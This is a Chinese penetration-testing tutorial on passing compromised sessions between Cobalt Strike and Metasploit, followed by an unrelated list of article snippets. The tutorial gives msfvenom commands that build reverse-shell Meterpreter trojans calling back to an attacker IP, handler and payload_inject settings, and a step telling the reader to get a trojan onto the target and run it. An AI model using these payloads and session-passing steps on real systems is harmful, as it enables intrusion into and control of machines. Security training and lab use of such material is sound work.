内网安全：Cobalt Strike 与 MSF 联动（ 会话 相互转移 ）
内网安全：Cobalt Strike 与 MSF 联动（ 会话 相互转移 ）
在渗透中，有时候 Cobalt Strike 会话可能会受限制，所以我们需要把 Cobalt Strike 会话转移到 MSF 上进行后面的渗透。也有的时候会话在 MSF 上，但是我们需要 操作更简便 或者 展示力更好，所以我们会把 MSF 上的会话转移到 Cobalt Strike 上进行后面的渗透.
目录：
内网安全：Cobalt Strike 与 MSF 联动（ 会话 相互转移 ）
在 MSF 会话中 转移 会话到 CS 上.
（1）上线 MSF 会话.
（2）进行监听模式.
（3）开启 Cobalt Strike 工具.
（4）添加一个监听.
（5）会话转移到 CS 中.
在 CS 会话中 转移 会话到 MSF 上.
（1）开启 Cobalt Strike 工具.
（2）添加一个监听.
（3）生成一个程序.(木马)
（4）重新添加一个监听器.
（5）会话转移到 MSF 中.
在 MSF 会话中 转移 会话到 CS 上.
（1）上线 MSF 会话.
生成一个程序后面（木马）：msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.106 lport=4422 -f exe > bgxg.exe
（2）进行监听模式.
（1）msfconsole（2）use exploit/multi/handler（3）set payload windows/meterpreter/reverse_tcp（4）set lhost 192.168.0.106 # 本地 IP 地址（5）set LPORT 4422 # 和后面一样的端口（6）run
（3）开启 Cobalt Strike 工具.
服务端：（1）cd cs4.7 //切换为 cs 目录（2）chmod a+x ./TeamServerImage // 修改权限.（3）./teamserver 192.168.0.106 888888 //这里的IP地址是 服务端的IP，后面的是客户端的登录密码.
客户端：（1）cd cs4.7 // 切换为 cs 目录（2）./start.sh // 打开 客户端.
（4）添加一个监听.
（5）会话转移到 CS 中.
（1）background // 挂起 会话.（2）use exploit/windows/local/payload_inject（3）set payload windows/meterpreter/reverse_http（4）set lhost 192.168.0.101 //设置 CS 服务端的 IP 地址.（5）set lport 8080 //设置 CS 服务端的 监听的端口(刚刚上面创建的端口号一样[CS的])（6）set DisablePayloadHandler True（7）set PrependMigrate True（8）sessions -l //查看 会话 是多少则设置多少（9）set session 1 [一般是 1(上面查看的结果)]（10）exploit // 进行 测试.
在 CS 会话中 转移 会话到 MSF 上.
（1）开启 Cobalt Strike 工具.
服务端：（1）cd cs4.7 //切换为 cs 目录（2）chmod a+x ./TeamServerImage // 修改权限.（3）./teamserver 192.168.0.106 888888 //这里的IP地址是 服务端的IP，后面的是客户端的登录密码.
客户端：（1）cd cs4.7 // 切换为 cs 目录（2）./start.sh // 打开 客户端.
（2）添加一个监听.
（3）生成一个程序.(木马)
想方法，把这个程序上传到目标主机并执行这个执行.
（4）重新添加一个监听器.
（5）会话转移到 MSF 中.
（1）msfconsole // 打开 MSF 工具（2）use exploit/multi/handler // 设置 监听 模块.（3）set payload windows/meterpreter/reverse_http // 设置 payload（4）set lport 9999 // 设置一个端口（和上面的监听一样的端口）（5）set lhost 0.0.0.0 // 设置本地的 IP 地址（6）exploit // 进行测试
相关文章：
内网安全：Cobalt Strike 与 MSF 联动（ 会话 相互转移 ）
内网安全：Cobalt Strike 与 MSF 联动（ 会话 相互转移 ） 在渗透中，有时候 Cobalt Strike 会话可能会受限制，所以我们需要把 Cobalt Strike 会话转移到 MSF 上进行后面的渗透。也有的时候会话在 MSF 上，但是…...
性能测试讲解超详细Jmeter
目录 什么是性能 性能测试的目的 功能测试和性能测试 基准测试 负载测试 稳定性测试 压力测试 并发测试 总结 性能测试指标 响应时间 并发数 吞吐量 点击数 错误率 资源使用率 总结 性能测试流程 性能测试需求分析 性能测试计划和方案 编辑性能测试用例编辑 性…...
微服务 – Spring Cloud – Nacos 配置中心
微服务 – Spring Cloud – Nacos 配置中心 文章目录 微服务 – Spring Cloud – Nacos 配置中心打开nacos面板新建配置引入依赖配置文件启动类业务类打开nacos面板新建配置 Data ID: nacos-config-client-dev.yaml Group: DEV-CLOUD2023 config:info: config info lalalal …...
超细，设计一个“完美“的测试用例，用户登录模块实例...
目录：导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结（尾部小惊喜） 前言 好的测试用例一定…...
【C#】文件拖拽，获取文件路径
系列文章 【C#】编号生成器（定义单号规则、固定字符、流水号、业务单号） 本文链接：https://blog.csdn.net/youcheng_ge/article/details/129129787 【C#】日期范围生成器（开始日期、结束日期） 本文链接：h…...
SAP PI/PO初步了解 2023.07.03
SAP PI/PO 是SAP 提供的一种集成中间件解决方案，用于在组织内部或不同组织之间实现系统的无缝通信和数据交换。它使企业能够以统一高效的方式集成各种应用和系统，无论这些系统的技术平台或数据格式如何。 以下是关于SAP PI/PO的简要概述： 1…...
Java中生产者消费者模型
在Java中，生产者消费者模型是一种常见的多线程编程模型，用于解决生产者和消费者之间的数据交互问题。 简介 生产者（Producer）负责生成数据，并将数据放入共享的缓冲区（队列）中。消费者…...
测试Hyperledger Fabric环境
首先进入fabric-samples目录中的first-networked 子目录 cd fabric-samples/first-network 在first-network目录下有一个自动化脚本byfn.sh,可以使用-help参数查看相应的可 用命令，在命令提示符中输入如下命令： ./byfn.sh --help命令执行成功后&#…...
ClickHouse查询sql长度超超过最大限制
ClickHouse查询sql长度超超过最大限制 Max query size exceeded ClickHouse exception, message: Code: 62. DB::Exception: Syntax error: failed at position 262102 (‘fwm00ud6a3ynu0kaxr.ya0eyemkbzdvrxkhwgchccll’) (line 10406, col 17): fwm00ud6a3ynu0kaxr.ya0eyemk…...
【Axure教程】拖动调整行高列宽的表格
表格是在系统软件中非常常用的工具。表格通常由行和列组成，用于以结构化的方式显示和组织数据。它们在各种场景中都有广泛的应用，包括数据分析、数据录入、报表生成、项目管理和数据可视化等领域。 今天作者就教大家如何在Axure里制作一个能通过鼠标拖动…...
中间件-netty(1)
netty 前言篇 文章目录 一、IO基础篇1.概念1.1 阻塞(Block)和非阻塞(Non-Block)1.2 同步(Synchronization)和异步(Asynchronous)1.3 BIO 与 NIO 对比1.3.1 面向流与面向缓冲1.3.2 阻塞与非阻塞1.3.3 选择器的问世 2.NIO 和 BIO 如何影响应用程序的设计2.1 API调用2.2 数据处理2…...
【方法】想把PDF文档转换成PPT，如何操作？
很多小伙伴在工作中，会使用PDF或者PPT来展示内容。那如果需要把PDF转换成PPT，要如何操作呢？ 我们知道，PPT转换成PDF很容易操作，只需通过PPT的【导出】选项，就可以直接转换成PDF；还可以通过“另…...
Linux--设置目录或文件的默认权限：umask权限掩码
目录起始权限是从777，普通文件起始权限从666 为何我们创建一个目录或文件，默认权限是你所看到的样子？ 因为凡是在umask中出现的权限，都不应该在最终权限中出现！ 最终权限起始权限&（~umask）…...
)
C++实现websocket单server单client全双工通信(基于boost！！！)
自身环境：ubuntu18.04gcc7.5.0boost1.7,3 环境配置 gcc或者g一般都有，这里主要介绍一下boost的配置方法 执行如下代码： wget https://boostorg.jfrog.io/artifactory/main/release/1.73.0/source/boost_1_73_0.tar.bz2 --no-check-cert…...
好用的网址5
搜番神器：https://trace.moe/ Online converter：Online converter - convert video, images, audio and documents for free 格式转换 GIF Explode：https://gif-explode.com/ SongDonkey：SongDonkey - AI Online Audio Split…...
做项目去实习到底做的什么？
300万字！全网最全大数据学习面试社区等你来！ 今天是手机编辑的文章，说说做项目/实习这回事。 我之前发过一些视频，讲校招四要素的，其中一个很重要的部分就是实习。 对社招同学来说，就简单了，面试…...
VSC++： 验证身份证
缘由https://ask.csdn.net/questions/1082358 void 验证身份证() {//缘由https://ask.csdn.net/questions/1082358int 权重[] { 7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2 }, 个 0, j 0, a 0, he 0;char M[] "10X98765432", 身份号[100][20]{};//…...
机器学习-方差和偏差理论
机器学习-方差和偏差理论 关于机器学习方差和偏差的内容其实很重要，这个方差和偏差可以帮助我们去分析，模型的泛化能力和过拟合的程度。 下面我们先给存储方差和偏差的公式： 注意，下式当中， f ( x ; D ) 表示在数据集…...
力扣 669. 修剪二叉搜索树
题目来源：https://leetcode.cn/problems/trim-a-binary-search-tree/description/ C题解1：递归法。当前节点为空时返回空，不为空时对其值进行分类讨论。以low为例，当前节点值等于low时，意味着其左子树都要丢弃…...
ChatGPT在多轮对话中的表现如何？
ChatGPT是一个非常强大的自然语言处理模型，它可以生成高质量的自然语言文本，并且在多轮对话中也有很好的表现。以下是关于ChatGPT在多轮对话中表现的详细介绍： 上下文感知 ChatGPT可以通过上下文感知来理解当前对话的语境和主题。在多轮对话…...
业务系统对接大模型的基础方案：架构设计与关键步骤
业务系统对接大模型：架构设计与关键步骤 在当今数字化转型的浪潮中，大语言模型（LLM）已成为企业提升业务效率和创新能力的关键技术之一。将大模型集成到业务系统中，不仅可以优化用户体验，还能为业务决策提供…...
Vue记事本应用实现教程
文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展：显示创建时间8. 功能扩展：记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...
Flask RESTful 示例
目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题： 下面创建一个简单的Flask RESTful API示例。首先，我们需要创建环境，安装必要的依赖，然后…...
ESP32读取DHT11温湿度数据
芯片：ESP32 环境：Arduino 一、安装DHT11传感器库 红框的库，别安装错了 二、代码 注意，DATA口要连接在D15上 #include "DHT.h" // 包含DHT库#define DHTPIN 15 // 定义DHT11数据引脚连接到ESP32的GPIO15 #define D…...
ETLCloud可能遇到的问题有哪些？常见坑位解析
数据集成平台ETLCloud，主要用于支持数据的抽取（Extract）、转换（Transform）和加载（Load）过程。提供了一个简洁直观的界面，以便用户可以在不同的数据源之间轻松地进行数据迁移和转换。…...
ElasticSearch搜索引擎之倒排索引及其底层算法
文章目录 一、搜索引擎1、什么是搜索引擎？2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长，文件大。2.其次，树深，IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...
在WSL2的Ubuntu镜像中安装Docker
Docker官网链接: https://docs.docker.com/engine/install/ubuntu/ 1、运行以下命令卸载所有冲突的软件包： for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done2、设置Docker…...
高效线程安全的单例模式：Python 中的懒加载与自定义初始化参数
高效线程安全的单例模式：Python 中的懒加载与自定义初始化参数 在软件开发中，单例模式（Singleton Pattern）是一种常见的设计模式，确保一个类仅有一个实例，并提供一个全局访问点。在多线程环境下，实现单例模式时需要注意线程安全问题，以防止多个线程同时创建实例，导致…...
20个超级好用的 CSS 动画库
分享 20 个最佳 CSS 动画库。 它们中的大多数将生成纯 CSS 代码，而不需要任何外部库。 1.Animate.css 一个开箱即用型的跨浏览器动画库，可供你在项目中使用。 2.Magic Animations CSS3 一组简单的动画，可以包含在你的网页或应用项目中。 3.An…...
Razor编程中@Html的方法使用大全
文章目录 1. 基础HTML辅助方法1.1 Html.ActionLink()1.2 Html.RouteLink()1.3 Html.Display() / Html.DisplayFor()1.4 Html.Editor() / Html.EditorFor()1.5 Html.Label() / Html.LabelFor()1.6 Html.TextBox() / Html.TextBoxFor() 2. 表单相关辅助方法2.1 Html.BeginForm() …...